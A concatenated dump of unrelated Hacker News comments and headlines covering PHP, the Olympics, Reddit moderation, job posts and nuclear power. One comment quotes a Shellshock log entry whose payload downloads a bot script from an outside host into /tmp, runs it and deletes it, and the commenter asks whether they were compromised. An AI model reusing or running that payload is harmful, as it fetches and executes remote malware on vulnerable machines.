skysight-inc/HackerNews huggingface dataset:
I'm generally very impressed by what the PHP core team is doing. The PHP ecosystem is known for its own share of flamewars and its wildly heterogeneous buildup of people (morons, geniuses, accidental programmers and great engineers). All these people want to pull PHP in a different direction.

PHP6, with breaking changes, failed, and the core team learned from its failure. Instead, on version 5, the amount of improvements that have been added in the last years is frankly impressive. Supported by similar ecosystem improvements such as Composer (PHP's excellent dependency manager), it makes PHP about as awesome as I can imagine without handing in any backward compatibility.

I strongly doubt PHP is going to ever make any breaking changes anymore, short of ones needed to fix Heartbleed-intensity security bugs. The core team has shown how much awesomeness can be reached without making those breaking changes. Some holes will never be plugged, but you can't have it all.

It's like Guido van Rossum realizing that nobody wants to migrate to Python 3, and instead making Python 2 awesomer again. It takes courage to do that, and the PHP guys did it.
> Those fees have no drop out, if the semester ticket had a drop out I guess nobody really wants to do that.

If I could drop out, I would consider buying the semester ticket in winter (when I take the bus to uni) and not in summer (when I cycle). In summer, most of my use of public transport is recreational (take the train to some swimming pool or hiking area). I could easily replace this with more cycling and occasionally buying one of DB's weekend special tickets.
You are not going to get nearly as much news coverage if you separate smaller events internationally. However, I think you could easily justify using multiple cities in the same country to host the Olympics. The real problem is not generic infrastructure it's a massive oversupply of somewhat wacky infrastructure in one location that's the issue. You can easily host the gymnastics completion or track and field in a football stadium but most cities don't have redundant football stadiums.
What the heck did I just read? That list cannot be true, can it? What next no blue skittles in the bowl?
First thought: Hooray for the shotgun guy!

Second thought: why arrest a guy for simple property damage? A hundred dollars damage or so. Isn't that a civil case?
> Puberty range in most women and bitches

At first I was offended and then I was 'Oohh...'
What It Will Take for Computers to Be Conscious
Those attacks are real on our platform. There are teams around the world, that have build servers on our platform and attack each other while defend their servers. It shows you who attacks whom.
I stopped watching the olympics a long time ago. I lied. I tuned in for the downhill skiing for a bit, but got tired of watching Bodi Miller's girlfriend.
"got built in some muddy, bulldozed acreage south of Sochi, Russia, rather than in Salzburg, Austria, home to Mozart"

You don't actually expect curling to be held directly on Heldenplatz either way?
Nothing wrong with _GET and _POST. The problem is that their elements have type "string" instead of "unsafe_string", so PHP allows them to be used as/with regular "safe" strings.

Edit: Except of course that they're mutable, which is stupid. In an ideal world they wouldn't be global either; they'd only be available at the top level, and passed into the application's initialising function/object, but that's low on the priority list.
What is it like to to be a member of the 18F team?
There Is a Giant Square Structure Hidden on Moon’s Surface
They said the build is now so parallel - distributed to 30 machines - that make is having trouble generating jobs fast enough.
This isn't good. Developers should have a way to make a quick buck in the web space as well, and not just by selling Wordpress themes.
Sandstorm.io could provide a way, but I wish we had alternatives.
Also the fact that he's basically reinventing "scandir" ;)
Even then, I think there would be some benefit. Customers of monopolistic ISPs will be able to quantify the monopoly tax they have to pay.
Google Increases Maximum Bounty for Bugs
The article points to immoral subreddits (racist, misogynist, pro-rape, etc.) Noteworthy that it's not a new problem; there have been several immoral subreddits, promoting child pornography for example, that were shuttered earlier this year.

Another problem is the group think. Certain subreddits, for example /r/worldnews, tolerate only a particular political slant. If your posts and comments contain a dissenting view, and they're downvoted off the front page and out of sight.
Even without passing on your own genes directly, you can:

1) help make sure those copies of your genes in others survive (help out relatives who did reproduce) - evolutionarily, this is equivalent to reproducing, if slightly attenuated;

and 2) have a lasting memetic impact.

And that's if you're focused only on the long term, which you seem to be - there's plenty more shorter term reasons to be alive.
Log your (apps) brains out
Not at all - this is a purely technical team. Although you will be building the core platform that is used across the entire institution, this does not require knowledge of any financial products. In fact, a majority of the current team have come from non-banking backgrounds!

It would be good to chat - please feel free to drop me an email: sian.robertson@oxfordknight.co.uk
As someone who has been using PHP to develop complex applications for years, I have a different perspective. I realize PHP can be faster than Node in production (thanks to efforts of people at facebook etc). Its stability can be great because every request is naturally isolated.

But there are a couple things that make PHP much less than ideal. First of all its latency can be legend-- wait for it-- you'll have to because it doesnt support evented programming - ary. So if you have 100 shards to query, PHP will in fact do all its I/O sequentially while Node and others can send it out in parallel and combine. PHP also can't batch requests together while Node can, so disparate pieces of code hve to know about each other's I/O requests. Caching and Batching are two separate things. Oh yeah, and forget about realtime push, websockets and long lived connections. PHP is good for quick serving of requests. It works on a preforked thread model even if your webserver doesn't.

So all these thins necessitate another server to do background processing eg for sending out one-to-many notifications for people affected by an action in a social app. We at Qbix choose Node because being web devs we already have to deal with Javascript. What we mostly use PHP for are two things:

1) Generating webpages dynamically, since we believe that caching dybamic content on many levels is superior to "static sites".

2) Web services where you need to get in and out quickly. For everything else we have a Node server listening to actual HTTP or TCP based requests to Node, which coordinates the session and is protected by a shared secret, as well as communicates via the hostname localhost so an admin is not required to secure that connection via a firewall.

PS: As far as security, you mainly just have to make sure to use APIs that do escaping of input for you. It is true that the presence of other APIs presents dangers and you would have to perform static analysis during code commits to make sure no one is using THOSE APIs, but nearly every language has APIs to write to standard output without escaping the html or javascript inside html etc. At the end of the day, the best you can do is static analysis and enforcing conventions.
The Inspirational Startup Story – Kris Hamoud of PayTagz
The New and Improved C# 6.0
Thanks for the feedback! I'll look into that. Lazy loading should be coming soon, as well as a more precise way of filtering (but still very straightforward)
C# 6 Cuts
https://github.com/mperham/inspeqtor/wiki/Other-Solutions
The article says they arrested him on some charges related to the gun and criminal mischief. It also says In addition the criminal charges, the owner may choose to pursue financial compensation for the destroyed drone.

So I wonder how you decided they arrested him for simple property damage? Do you mean to obliquely dismiss the other charges?
According to Google [1], S. Korea has almost no IPv6 adoption at all. This will be a nice change.

In other news, I see Google traffic is peaking at 4.5%.

[1] https://www.google.com/intl/en/ipv6/statistics.html#tab=per-...
Theres an OOP way to do this now with DirectoryIterator and RecursiveDirectoryIterator.

http://php.net/manual/en/class.directoryiterator.php

One of the big problems with PHP seems to be the amount of "hidden" features that you don't generally stumble upon unless you dive through the docs, or get the right google search.
One person says six, the other says half-a-dozen.
Least publishable unit
Poland has both paid and free universities, state-run universities are free (but just for the daily courses, there are also evening courses and weekend courses that are paid).

Free courses are paid by taxes, and universities have a limit on how much students they can admit on paid courses depending on how much they admit on free courses.

There are also private universities with just paid courses, but they are much worse quality (they admit almost anoyone for money, so better students go to the state universities to study for free, and worse students only get admited to the paid ones).

The end result is - almost everybody go to the university and do M.A. in something. The education is usually OK, but not great (especially on the worse universities). Everybody have M.A. so it isn't advantage in the job market, just a requirement (there were postman job offerings requiring M.A. for example :) ).

The problem is - Polish universities don't do much science, they are mostly for education, people call them M.A. factories.
You just got trolled son
Happy to hear my articles helped! But the reason you succeeded is you, not me :)
Just to chase down this train of thought a little more: there are lots of ways to benefit your clan (and therefore some of your genes) without reproducing. Look at bees and termites, where the vast majority of them never reproduce, yet the queen is driven to produce them because they help the colony survive. That's selection too.

Or how about a gene that drives non-reproductive young males to be restless, jump on a horse and ride over the horizon on a whim. Sometimes they come back, say "There's buffalo over there!" and the whole tribe benefits. That's selected for too.
Right. My point is that "you can't use atomic instructions with disk-backed databases" is oversimplified to the point of being incorrect: it's wholly feasible for, say, Postgres to implement a skiplist-based index (or some other lock-free data structure) while still backing its store with the disk, with the only downside being a performance hit if working memory is not large enough.
Nuclear energy is hugely susceptible to black swan events, with very serious environmental and monetary consequences. Even the best, safest run facility, in an instance of sabotage, terrorism, conflict, or simple unexpected event (seismic, extreme weather), can turn into a maelstrom of troubles that will endure for thousands of years.

Further the nuclear industry is one with a very poor track record of promises versus delivery. The cheap power, for instance, tends to turn into expensive power when plants need to be refurbished at mind-boggling costs (such as here in Ontario where we've gone from the cheapest power in North America, courtesy of huge hydroelectric benefits, to one of the most expensive because of our nuclear legacy). And the waste issue remains a significant issue.

Nuclear was a great alternative to fossil fuels. It is a very poor alternative to alternatives (wind, solar, geothermal, hydroelectric, etc), and simply increasing energy efficiency.
They do that. World championships.
CVE-2014-7284: Lack of randomness in Linux kernel network secrets
> I also think the PHP community lacks brilliant developers.

Really? How can you say that with a straight face about a community of that size? I get that maybe you don't think PHP is brilliant, but to say that it lacks brilliant developers seems closed minded and kinda rude.
According to David Lee Roth he just put that in so he could see if the venue actually read the contract. Either way it seems that he was a bastion of reason and moderation compared to these IOC goons.
Very neat. Leaves me suspecting that a 2D rendition could be more readable / practical.
History: the key to decoding big data
That Philips monitor, that's a blast from the past! My parents bought me one of those back in 1984 for my BBC micro. Then I had it hooked up as a second monitor on my Opus 286 PC that I bought when I started college in 1985 (1MB RAM, 12Mhz 286, 37.5MB RLL 3.5" disk) for C debugging. I was a bit fancy back then and had two video cards in my PC. The C compiler I used (pretty sure it was the Microsoft C V5 one) knew how to talk to a second video card.

I kept the Philips around for years and years then donated it somewhere along the way with a couple of CGA and EGA monitors I'd collected over the years.

Just a wee nitpick, that particular Philips monitor wasn't "colour" as such, it had amber phosphor instead of green or white. That said it was a really nice display, very crisp and sharp and a bargain at around 99 quid in the day.

Getting back on topic, the best displays (in their day) I ever used were the Data General Dasher 2 and D200's. Sadly the later Dashers (the model 20's with the cream and brown cases) shipped with crappier CRT's that would wobble when sat next to any switched mode power supply.
Plus, that wrapper already exists with Symfony components.
Open IoT from Eclipse Foundation
There's a lot of good in this essay. I'm going to attack the weak point, even though I agree with most of it.

So this is the third counterintuitive thing to remember about startups: starting a startup is where gaming the system stops working. Gaming the system may continue to work if you go to work for a big company. Depending on how broken the company is, you can succeed by sucking up to the right people, giving the impression of productivity, and so on. [2] But that doesn't work with startups. There is no boss to trick, only users, and all users care about is whether your product does what they want.

Then, to his credit, he admits...

The dangerous thing is, faking does work to some degree on investors. If you're super good at sounding like you know what you're talking about, you can fool investors for at least one and perhaps even two rounds of funding. But it's not in your interest to. The company is ultimately doomed. All you're doing is wasting your own time riding it down.

Okay, so we have something to chew on.

First of all, investors are gameable if you're good at social proof arbitrage (that is, lying about competing interest in order to set off a "herd mentality" and become a VC darling). I don't have an ethical problem with social proof arbitrage. It's what you have to do if you want to raise VC and you're not from a very wealthy family.

Is the system gameable? It depends on what your objectives are. You can't build a successful company if you make something no one wants. That's clear. However, let's be cynical and realistic here. Do you care about the success of "the company" or of your own career?

If your investors don't like you but you build a great company, they'll give it (and most of the rewards) to someone they do like. If your investors like you and your company fails, they'll arrange a favorable acqui-hire. This means that you collected $120k for each year that the business was alive, and got a 3x salary bump (plus a 7-figure hiring bonus) in your next job. Or, they might make you a VC.

The part that determines whether your product is Google or Clinkle is difficult, if not impossible, to fake. We don't even understand how many of those random variables work. There's some part that's performance- and skill-related and a large part that's luck, and no one knows where to draw the lines. However, the startup career is immensely gameable, and that's true the whole way to the top (partner-level ranks in VC firms).
The fact that Reddit does shut these subreddits down when media pressure is exerted shows that they know it's wrong, and that they know it's happening. They simply hope that it's hidden deep enough so that people won't notice. Granted, the deep web/4chan is where most of this stuff has had a safe haven to spawn and spread, but perhaps that is where it should stay. If a stand is made somewhere, it should be on Reddit.
Watch it with the smoking one. I smoked for about 8 years (ages 19 to 27, minimum 12 cigs a day) then quit for a year and a half. Quitting was so easy. Then something bad happened in my life and I started smoking while stressed. I was only smoking for about a week and it took me months of repeated effort to quit the second time.

Part of the problem was that the first time I quit I was mentally happy, part of the problem was I knew "how easy" it was to quit the first time and this excuse makes it easier to spark up while you drink.

Now that I'm off them for good again I'm much more scared of them than I was before.
Location: Wisconsin, USA

Remote: yes

Willing to relocate: no

Technologies: LAMP: Symfony2, Doctrine, Composer. Devops:
Chef, Ansible, Vagrant, AWS. Git/Github. Currently learning Node.js

Website: https://keybase.io/mathewpeterson

Email: me@mathewpeterson.com
Seems cool but breaks if you rearrage things... windows disappear.
As much as I might disagree with the content of some of those subreddits, I come back to the Hall quote "I disapprove of what you say, but I will defend to the death your right to say it". I personally really like operating in a society where you can run around saying inane or even offensive things, as long as it doesn't directly impact those who don't elect to listen to you.

The people who frequent these subreddits live in our society, like it or not. I'm not sure that censoring discussion about rape actually leads to less rape, it may just make it easier for the rest of us to pretend the rapists don't exist, and make it harder for the people who need help to get it.
"() { :;}; /bin/bash -c \"wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\""
I have several lines like this in my logs. So I guess that someone tried (or succeeded) to download a script to my machine, run it & delete it?
I think this could have happened before I patched & rebooted. How worried should I be?
I whole-heartedly agree here. You really shouldn't have to implement workarounds to know you're comparing two integers, or two booleans. === feels like a workaround to me and the amount of times I've seen people forget the last = is high. That's probably my #1 gripe with PHP.
I disagree. 99 is a very reasonable price. I pay much more for IDEs, tools, libraries, services, support, and infrastructure. 99 is a reasonable one-time cost, all things considered (assuming it works on all modern browsers and mobile).
Groove Deletes Their Facebook Page
Toronto,ON. Onsite

Top Hat is looking for hardcore engineers to help build our cutting edge education platform that students all over the world use in class. Does doin’ your thing in Django take you to your happy place? Does coding in JavaScript feel better than Christmas morning? Read on, you Maniac Hack. Read on.

Our client side app is built on a fairly sophisticated JavaScript framework and makes use of JQuery, backbone.js and all the usual suspects. The server side is written in Python on Django, with a MySQL database. In addition we use Node.js and SockJS for our real time components. Our systems all run on Amazon Web Services.

You will be will be working a variety of projects relating to our flagship web application. These will include frontend MVC application design and development, DOM optimization, and scalable and modular HTML/CSS . In terms of backend development, you will be working on our Django application and creating lightning fast REST APIs.

We like to hire developers who have solid full stack experience but definitely value, and accommodate, developers who choose to be more focused on either front-end and back-end development.

You should be comfortable with most of the following:

Semantic HTML and HTML5 concepts

CSS 3.0

JavaScript

Git

Automated unit and integration testing

HTTP

REST APIs

Databases (Hopefully including query performance and optimization)

We think the best sign of a good developer is interesting projects they've done on their own time, not just things they were assigned by their boss or in university. So please showcase any cool side projects, open source contributions or community involvement.

https://hire.jobvite.com/j?cj=oqatYfwL&s=hn
Security/Penetration testing and cryptography fields are great areas to (at least) start alone.
Why I took on building a better way to frame any poster, print or photo
The more projects I work on, the less I like configurable language options.

Some libraries are written assuming <? is fine, some aren't. But god help you when you try to merge them in.

As PHP has grown older, less of these strange incompatibilities continue to be supported (safe mode, etc), and I'm thankful for that.
Oh, I tried a maunal curl, "Could not resolve host: stablehost.us"
The same logic can be applied to demonize any group or political movement.

For example: some fringe feminists claim that male homosexuality is merely an expression of misogyny. As a gay man, this is hugely offensive to me. However, I don't call on feminists to ostracize their radical fringe, or dismiss the entire movement based on the existence of such a fringe.
They already did. New projects are on Github, and they seem to be migrating old ones: https://github.com/google.
How do people even find this subreddits? I have been or reddit years, I am an active user that scroll r/all a lot and posts every time I have something to say. But I never encountered this subreddits. Only sometimes people post links to spacedicks and I just avoid them. This subreddits, jailbait and whatever else I heard only from articles of people complaining about them, giving them more exposure they need. It's a huge community, you can't generalize it. It's not a bowl of ice cream. It's a country made of ice cream. And being a country it has it's population, and there are always they rotten ones.
Check out the video art people have been making with old Vectrex game consoles and modular synthesizers. http://www.muffwiggler.com/forum/viewtopic.php?t=69637
Fedora Workstation Progress Report (Wayland and More)
I don't think the ancient Greeks could have envisioned a world where the Olympics was played thousands of miles away from Greece and included every nation on the planet.
Udo said this:

> But I highly doubt that you really believe this, because you're here, on HN, thinking about and debating matters that are far removed from the static archaic society whose values you ostensibly subscribe to.

You didn't reply to it initially; I was hoping to see your thoughts on that point.
Stratos Secures $5.8M to Launch Bluetooth Credit Card
US forces are claimed to be 'war criminals' by the other side. US POWs are abused and tortured. Some actually become war criminals. You get what you ask for.
> We need to recognize that reddit is a hate and porn site that has successfully masked its true nature with a thick layer of social chatter.

Rubbish. Speaking specifically towards hate (I have no moral objection to consentually created porn), the highlighted subreddits make up a microscopic fraction of reddit's content and traffic. One might just as easily say 'The internet is a tool for the propagation of hate'.

I'm perfectly willing to entertain an argument that reddit ought to censor more heavily (frankly, I'm not sure I've developed an opinion either way), but the implication that reddit is about hate, that this is what it's for, looks plainly ridiculous to me.